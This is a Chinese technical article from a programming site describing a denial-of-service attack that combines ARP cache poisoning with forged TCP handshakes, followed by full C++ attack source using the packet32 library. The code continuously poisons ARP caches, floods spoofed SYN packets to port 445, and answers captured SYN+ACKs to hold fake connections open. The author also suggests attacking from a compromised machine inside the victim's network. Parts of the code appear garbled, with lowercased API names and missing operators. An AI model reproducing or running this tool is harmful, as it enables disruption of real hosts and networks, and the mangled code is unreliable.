搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

基于ARP欺骗的TCP伪连接D.o.S

从某种意义上说,如果能够制造tcp伪连接,那么d.o.s也就比较容易实现了。以前liond8就曾经用这个思路做出了一个新型d.o.s,而今天,我用的也是这个思路。但是,如果直接伪造tcp三次握手而不作其他任何处理,那却是不行的。因为,当攻击的目标主机接收到我们发过去的伪造的syn包后会发回一个syn+ack包(也就是第二次握手)。而当我们的系统收到这个syn+ack包后,由于系统内并没有发起真正的 tcp连接,因此系统会发回一个rst包,这个包将使目标主机重置连接。这样,这个伪连接就建立失败了。

要解决这个问题,办法有不少,而我这里要用的方法就是arp欺骗。首先,我们要对目标主机进行arp欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起tcp伪连接了。这样一来,即使目标主机返回一个syn+ack包,这个包也不会进入到我们的系统(因为这个包的目的ip不会是我们而应该是我们伪装的那台主机的ip),这样,我们的系统也不会向目标主机发送rst包了。

打个比方,假设我们是主机a,现在我想要攻击主机b。首先,我先伪装主机c对b进行arp欺骗(以c的ip地址和a的mac地址构造arp应答包发送到b),这样,b的arp缓存中就会记录下c的ip对应a的mac地址。然后,我们再以c的ip为源ip构造syn数据包,向b发起tcp伪连接。当 b收到这个syn包之后,它会构造一个syn+ack包发往c。但是,由于此时在b的arp缓存中记录着:c的ip对应a的mac地址,因此,这个syn +ack包实际上被发送到了a。虽然,这个包将被a的系统所丢弃(因为这个包的目的ip是c的ip而不是a的ip,所以a的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个syn+ack包之后,我们需要再次伪装c向b发回一个ack包完成第三次握手。这样,tcp 初始化连接的三次握手都完成了,我们的伪连接也成功建立了!

伪连接建立之后,我们还可以继续向目标主机发送数据,来保证tcp连接的存活。

这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的arp缓存不被更改,我们需要持续不断的对其进行arp欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的arp缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行arp欺骗,以增加攻击成功的几率。

好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。


// dos_by_arpcheat.cpp : defines the entry point for the console application.

//


#include "stdafx.h"

#include "winsock2.h"

#include "packet32.h"

#include "stdio.h"


#pragma comment(lib, "packet")

#pragma comment(lib, "ws2_32")


//下面几个宏是测试用的主机的ip和mac

#define simulate_mac "0011111d735a" //伪装主机的mac地址

#define target_mac "001111c6f7fe" //目的主机的mac地址

#define local_mac "00e06e41508f" //本机mac地址

#define target_ip "211.83.97.24" //目的主机的ip

#define simulate_ip "211.83.97.16" //伪装主机的ip


#define ndis_packet_type_directed 0x0001 //直接模式


#pragma pack(push, 1)


struct et_header //以太网头部

{

unsigned char eh_dst[6];

unsigned char eh_src[6];

unsigned short eh_type;

};


struct arp_header //arp头部

{

unsigned short arp_hdr;

unsigned short arp_pro;

unsigned char arp_hln;

unsigned char arp_pln;

unsigned short arp_opt;

unsigned char arp_sha[6];

unsigned long arp_spa;

unsigned char arp_tha[6];

unsigned long arp_tpa;

};


struct ip_header //ip头部

{

char m_ver_hlen; //4位版本号,4位ip头部长

char m_tos;

ushort m_tlen;

ushort m_ident;

ushort m_flag_frag; //3位标志位(1位未用位,1位df,1位mf),13位片断偏移量

char m_ttl;

char m_protocol;

ushort m_cksum;

ulong m_sip;

ulong m_dip;

};


struct tcp_header //tcp头部

{

ushort m_sport;

ushort m_dport;

ulong m_seq;

ulong m_ack;

char m_hlen_res4; //4位tcp头部长,6位保留的前4位

char m_res2_flag; //6位保留的后2位,6位标志

ushort m_win;

ushort m_cksum;

ushort m_urp;

};


struct psd_header //伪头部,计算校验和用

{

ulong m_saddr; //源地址

ulong m_daddr; //目的地址

char m_mbz;

char m_ptcl; //协议类型

ushort m_tcpl; //tcp长度

};


struct tcp_option //tcp选项,发起伪连接时要用来与对方协商

{

ushort unknown;

ushort maxsegsize; //mss,以太网一般为1460

char no1;

char no2;

ushort sack;

};


struct cheat_arp_info //arp欺骗线程的参数

{

char simulateip[20];

char targetip[20];

char targetmac[13];

};


#pragma pack(pop)


ushort checksum(ushort *buffer, int size); //计算校验和的函数

void strtomac(char *str,char *mac); //字符串转换为mac地址

void listenack(); //监听函数,监听对方的回包

void assayandsenddata(lppacket lppacket); //分析数据帧并发送回包

dword winapi arpcheat(void *pinfo); //arp欺骗线程

dword winapi sendsyn(void *no); //发送syn包的线程

void info();


lpadapter lpadapter=null; //适配器指针

ushort ipid=1638; //ip标识

ushort sourceport=1056; //起始源端口

ushort targetport=445; //目的端口


int main(int argc, char* argv[])

{

info();


wsadata wsadata;

if(wsastartup(makeword(2,1), &wsadata)!=0)

{

printf("wsastartup error!\n");

return -1;

}


//打开适配器:

wchar adapter_name[2048]=;

ulong adapter_length=1024;


//取得所有适配器的名字.

if(packetgetadapternames((char*)adapter_name, &adapter_length)==false)

{

//adapter_name:一个用于存放适配器的名字的缓冲区

//adapter_length:这个缓冲区的大小

printf("packetgetadapternames error:%d\n",getlasterror());

return -1;

}


wchar *name1,*name2;

ulong i;

static char adapter_list[10][1024];


name1=adapter_name;

name2=adapter_name;

i=0;

//把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个

while((*name1!='\0') (*(name1-1)!='\0'))

{

if(*name1=='\0')

{

memcpy(adapter_list[i],name2,2*(name1-name2));

name2=name1+1;

i++;

}

name1++;

}


//默认打开第一块适配器

lpadapter=(lpadapter)packetopenadapter((lptstr)adapter_list[0]);

if (!lpadapter(lpadapter->hfile==invalid_handle_value))

{

printf("unable to open the driver, error code : %lx\n", getlasterror());

return -1;

}


//创建arp欺骗线程:

cheat_arp_info info1=,info2=;

memcpy(info1.simulateip,simulate_ip,strlen(simulate_ip));

memcpy(info1.targetip,target_ip,strlen(target_ip));

memcpy(info1.targetmac,target_mac,strlen(target_mac));

::createthread(null,0,arpcheat,&info1,0,null);


memcpy(info2.simulateip,target_ip,strlen(target_ip));

memcpy(info2.targetip,simulate_ip,strlen(simulate_ip));

memcpy(info2.targetmac,simulate_mac,strlen(simulate_mac));

::createthread(null,0,arpcheat,&info2,0,null);

sleep(50);


//发送tcp伪连接的syn数据帧:

::createthread(null,0,sendsyn,null,0,null);


listenack(); //循环监听数据包

packetcloseadapter(lpadapter); //关闭适配器

::wsacleanup();

return 0;

}


dword winapi sendsyn(void *no)

{

sleep(100);


while(true) //循环发送syn包发起伪连接

{

char s_mac[6]=,d_mac[6]=;

char sendsynbuf[128]=;

et_header et_header=;

ip_header ip_header=;

tcp_header tcp_header=;

tcp_option tcp_option=;

psd_header psd_header=;


//填充以太头部:

strtomac(local_mac,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

strtomac(target_mac,d_mac); //dest_mac

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0800); //类型为0x0800表示这是ip包


//填充ip头部:

ip_header.m_ver_hlen=(4<<45);

ip_header.m_tos=0;

ip_header.m_tlen=htons(sizeof(ip_header)+sizeof(tcp_header)+sizeof(tcp_option));

ip_header.m_ident=htons(ipid++);

ip_header.m_flag_frag=htons(16384); //设置为不分片

ip_header.m_ttl=128;

ip_header.m_protocol=ipproto_tcp; //高层协议为tcp

ip_header.m_cksum=0;

ip_header.m_sip=inet_addr(simulate_ip); //源ip填为伪装主机的ip

ip_header.m_dip=inet_addr(target_ip); //目的ip


ip_header.m_cksum=checksum((ushort *)&ip_header,sizeof(ip_header));


//填充tcp头部以及tcp选项:

tcp_header.m_dport=htons(targetport);

tcp_header.m_sport=htons(sourceport++);

tcp_header.m_seq=::gettickcount(); //初始化序列号

tcp_header.m_ack=0;

tcp_header.m_hlen_res4=(((sizeof(tcp_header)+sizeof(tcp_option))/4)<<4);

tcp_header.m_res2_flag=2; //标识为syn包

tcp_header.m_win=htons(16384);

tcp_header.m_cksum=0;

tcp_header.m_urp=0;


tcp_option.unknown=htons(516);

tcp_option.maxsegsize=htons(1460); //mss,以太网一般为1460

tcp_option.no1=1;

tcp_option.no2=1;

tcp_option.sack=htons(1026);


//计算tcp校验和:

psd_header.m_daddr=ip_header.m_dip;

psd_header.m_saddr=ip_header.m_sip;

psd_header.m_mbz=0;

psd_header.m_ptcl=ipproto_tcp;

psd_header.m_tcpl=htons(sizeof(tcp_header)+sizeof(tcp_option));


char tcpbuf[128]=;

memcpy(tcpbuf,&psd_header,sizeof(psd_header));

memcpy(tcpbuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

memcpy(tcpbuf+sizeof(psd_header)+sizeof(tcp_header),&tcp_option,sizeof(tcp_option));

tcp_header.m_cksum=checksum((ushort *)tcpbuf,sizeof(psd_header)+sizeof(tcp_header)+sizeof(tcp_option));


//构造syn数据帧:

memcpy(sendsynbuf,&et_header,sizeof(et_header));

memcpy(sendsynbuf+sizeof(et_header),&ip_header,sizeof(ip_header));

memcpy(sendsynbuf+sizeof(et_header)+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memcpy(sendsynbuf+sizeof(et_header)+sizeof(ip_header)+sizeof(tcp_header),&tcp_option,sizeof(tcp_option));


//发送伪造的syn包:

lppacket lppacket;

lppacket=packetallocatepacket(); //给packet结构指针分配内存

packetinitpacket(lppacket,sendsynbuf,128); //初始化packet结构指针


if(packetsetnumwrites(lpadapter,1)==false) //设置发送次数

{

printf("warning: unable to send more than one packet in a single write!\n");

continue;

}


if(packetsendpacket(lpadapter,lppacket,true)==false)

{

printf("error sending the packets!\n");

continue;

}

packetfreepacket(lppacket); //释放packet结构指针

sleep(100);

}

return 0;

}


dword winapi arpcheat(void *pinfo)

{

cheat_arp_info info=;

memcpy(&info,pinfo,sizeof(cheat_arp_info));


//伪造arp应答包:

char s_mac[6]=,d_mac[6]=;

et_header et_header=;

arp_header arp_header=;

char buffer[64]=;


strtomac(local_mac,s_mac); //源mac地址

memcpy(et_header.eh_src,s_mac,6);

strtomac(info.targetmac,d_mac); //目的mac地址

memcpy(et_header.eh_dst,d_mac,6);


et_header.eh_type=htons(0x0806); //类型为0x0806表示这是arp包


arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址

arp_header.arp_pro=htons(0x0800); //协议地址类型为ip协议

arp_header.arp_hln=6; //硬件地址长度为6

arp_header.arp_pln=4; //协议地址长度为4

arp_header.arp_opt=htons(0x0002); //标识为arp应答


arp_header.arp_spa=inet_addr(info.simulateip); //source_ip

memcpy(arp_header.arp_sha,et_header.eh_src,6);

arp_header.arp_tpa=inet_addr(info.targetip); //target_ip

memcpy(arp_header.arp_tha,et_header.eh_dst,6);


memcpy(buffer,&et_header,sizeof(et_header));

memcpy(buffer+sizeof(et_header),&arp_header,sizeof(arp_header));


//发送伪造地arp应答包:

lppacket lppacket;

lppacket=packetallocatepacket(); //给packet结构指针分配内存

packetinitpacket(lppacket,buffer,64); //初始化packet结构指针


if(packetsetnumwrites(lpadapter,1)==false) //设置发送次数

printf("warning: unable to send more than one packet in a single write!\n");


while(true)

{

if(packetsendpacket(lpadapter,lppacket,true)==false) //不断发送伪造的arp应答包达到欺骗目标主机的目的

{

printf("error sending the packets!\n");

break;

}

sleep(3000);

}


packetfreepacket(lppacket); //释放packet结构指针

return 0;

}


void listenack()

{

lppacket lppacket;

char recvbuf[512]=;


packetsethwfilter(lpadapter, ndis_packet_type_directed); //设置网卡为直接模式

packetsetbuff(lpadapter,1024); //设置网卡接收数据包的缓冲区大小

packetsetreadtimeout(lpadapter,2); //设置接收到一个包后的“休息”时间


while(true)

{

lppacket=packetallocatepacket(); //给packet结构指针分配内存

packetinitpacket(lppacket,recvbuf,512); //初始化packet结构指针


if(packetreceivepacket(lpadapter,lppacket,true)==true) //接收数据帧

assayandsenddata(lppacket); //分析数据包并发送ack包

else

printf("recv error!\n");


//每次收包后重置lppacket:

packetfreepacket(lppacket);

memset(recvbuf,0,512);

sleep(10);

}


packetfreepacket(lppacket); //释放lppacket

return;

}


ushort checksum(ushort *buffer, int size)

{

unsigned long cksum=0;

while(size >1)

{

cksum+=*buffer++;

size -=sizeof(ushort);

}

if(size)

cksum += *(uchar*)buffer;


cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (ushort)(~cksum);

}


void strtomac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数

{

char *str1;

int i;

int low,high;

char temp;


for(i=0;i<6;i++)

{

str1=str+1;

switch(*str)

{

case 'a':high=10;

break;

case 'b':high=11;

break;

case 'c':high=12;

break;

case 'd':high=13;

break;

case 'e':high=14;

break;

case 'f':high=15;

break;

default:temp=*str;

high=atoi(&temp);

}

switch(*str1)

{

case 'a':low=10;

break;

case 'b':low=11;

break;

case 'c':low=12;

break;

case 'd':low=13;

break;

case 'e':low=14;

break;

case 'f':low=15;

break;

default:temp=*str1;

low=atoi(&temp);

}

mac[i]=high*16+low;

str+=2;

}

}


void assayandsenddata(lppacket lppacket)

{

char *buf;

bpf_hdr *lpbpfhdr;

et_header *lpethdr;

in_addr addr=;


buf=(char *)lppacket->buffer;

lpbpfhdr=(bpf_hdr *)buf;

lpethdr=(et_header *)(buf+lpbpfhdr->bh_hdrlen);

if(lpethdr->eh_type==htons(0x0800)) //判断是否为ip包

{

ip_header *lpiphdr=(ip_header *)(buf+lpbpfhdr->bh_hdrlen+sizeof(et_header));


if( ( inet_addr(simulate_ip)==lpiphdr->m_dip ) && ( inet_addr(target_ip)==lpiphdr->m_sip ) && (lpiphdr->m_protocol==ipproto_tcp) ) //判断所收到的数据包的传输层协议、源及目的ip

{

tcp_header *lptcphdr=(tcp_header *)(buf+lpbpfhdr->bh_hdrlen+sizeof(et_header)+sizeof(ip_header));


if( ( (lptcphdr->m_res2_flag & 0x10)!=0 ) && ( lptcphdr->m_win!=0 ) ) //判断是否为带ack标记的包并判断目标主机接收窗口是否已为0

{

char s_mac[6]=,d_mac[6]=;

char sendsynbuf[128]=;

char *data="ffantasyyd";

et_header et_header=;

ip_header ip_header=;

tcp_header tcp_header=;

psd_header psd_header=;


strtomac(local_mac,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

strtomac(target_mac,d_mac); //dest_mac

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0800); //类型为0x0800表示这是ip包


ip_header.m_ver_hlen=(4<<45);

ip_header.m_tos=0;

ip_header.m_tlen=htons(sizeof(ip_header)+sizeof(tcp_header)+strlen(data));

ip_header.m_ident=htons(ipid++);

ip_header.m_flag_frag=htons(16384); //设置为不分片

ip_header.m_ttl=128;

ip_header.m_protocol=ipproto_tcp; //高层协议为tcp

ip_header.m_cksum=0;

ip_header.m_sip=inet_addr(simulate_ip);

ip_header.m_dip=inet_addr(target_ip);


ip_header.m_cksum=checksum((ushort *)&ip_header,sizeof(ip_header));


tcp_header.m_dport=lptcphdr->m_sport;

tcp_header.m_sport=lptcphdr->m_dport;

tcp_header.m_seq=lptcphdr->m_ack; //序列号为接收到包的ack号

if(lptcphdr->m_res2_flag==0x12) //若收到的包是syn+ack包,则ack号为接收到包的序列号加1

tcp_header.m_ack=htonl(ntohl(lptcphdr->m_seq)+1);

else //若收到的包不是syn+ack包,则ack号为接收到包的序列号加上包的数据部分长度

tcp_header.m_ack=htonl(ntohl(lptcphdr->m_seq)+ntohs(lpiphdr->m_tlen)-40);


tcp_header.m_hlen_res4=((sizeof(tcp_header)/4)<<4);

tcp_header.m_res2_flag=0x10; //设置为ack包

tcp_header.m_win=lptcphdr->m_win;

tcp_header.m_cksum=0;

tcp_header.m_urp=0;


psd_header.m_daddr=ip_header.m_dip;

psd_header.m_saddr=ip_header.m_sip;

psd_header.m_mbz=0;

psd_header.m_ptcl=ipproto_tcp;

psd_header.m_tcpl=htons(sizeof(tcp_header)+strlen(data));


char tcpbuf[128]=;

memcpy(tcpbuf,&psd_header,sizeof(psd_header));

memcpy(tcpbuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

memcpy(tcpbuf+sizeof(psd_header)+sizeof(tcp_header),data,strlen(data));

tcp_header.m_cksum=checksum((ushort *)tcpbuf,sizeof(psd_header)+sizeof(tcp_header)+strlen(data));


memcpy(sendsynbuf,&et_header,sizeof(et_header));

memcpy(sendsynbuf+sizeof(et_header),&ip_header,sizeof(ip_header));

memcpy(sendsynbuf+sizeof(et_header)+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memcpy(sendsynbuf+sizeof(et_header)+sizeof(ip_header)+sizeof(tcp_header),data,strlen(data));


//发送伪造的ack包:

lppacket lpsendpacket;

lpsendpacket=packetallocatepacket(); //给packet结构指针分配内存

packetinitpacket(lpsendpacket,sendsynbuf,128); //初始化packet结构指针


if(packetsetnumwrites(lpadapter,1)==false) //设置发送次数

{

printf("warning: unable to send more than one packet in a single write!\n");

return;

}


if(packetsendpacket(lpadapter,lpsendpacket,true)==false)

{

printf("error sending the packets!\n");

return;

}

packetfreepacket(lpsendpacket); //释放packet结构指针

}

}

}

return;

}


void info()

{

printf("********************************\n");

printf("* made by ffantasyyd *\n");

printf("* qq:76889713 *\n");

printf("* email:ffantasyyd@163.com *\n");

printf("* http://ffantasyyd.126.com *\n");

printf("********************************\n");

}


注:由于以上代码是我测试用的,因此显得不太便于使用,很多信息都是我自己去获取后直接写进程序里的,比如目标主机的mac地址等,这些都需要测试者自己修改。另外,这种d.o.s存在着一个局限性,那就是目标主机必须跟我们的主机处于同一个二层网络内。但是,我们可以利用一些方法来克服这种局限性,比如,我们可以在目标主机的网络内找一台肉鸡,这样,我们就只需要控制那台肉鸡进行攻击就行了。

()

相关文章:
© 2006   www.java-asp.net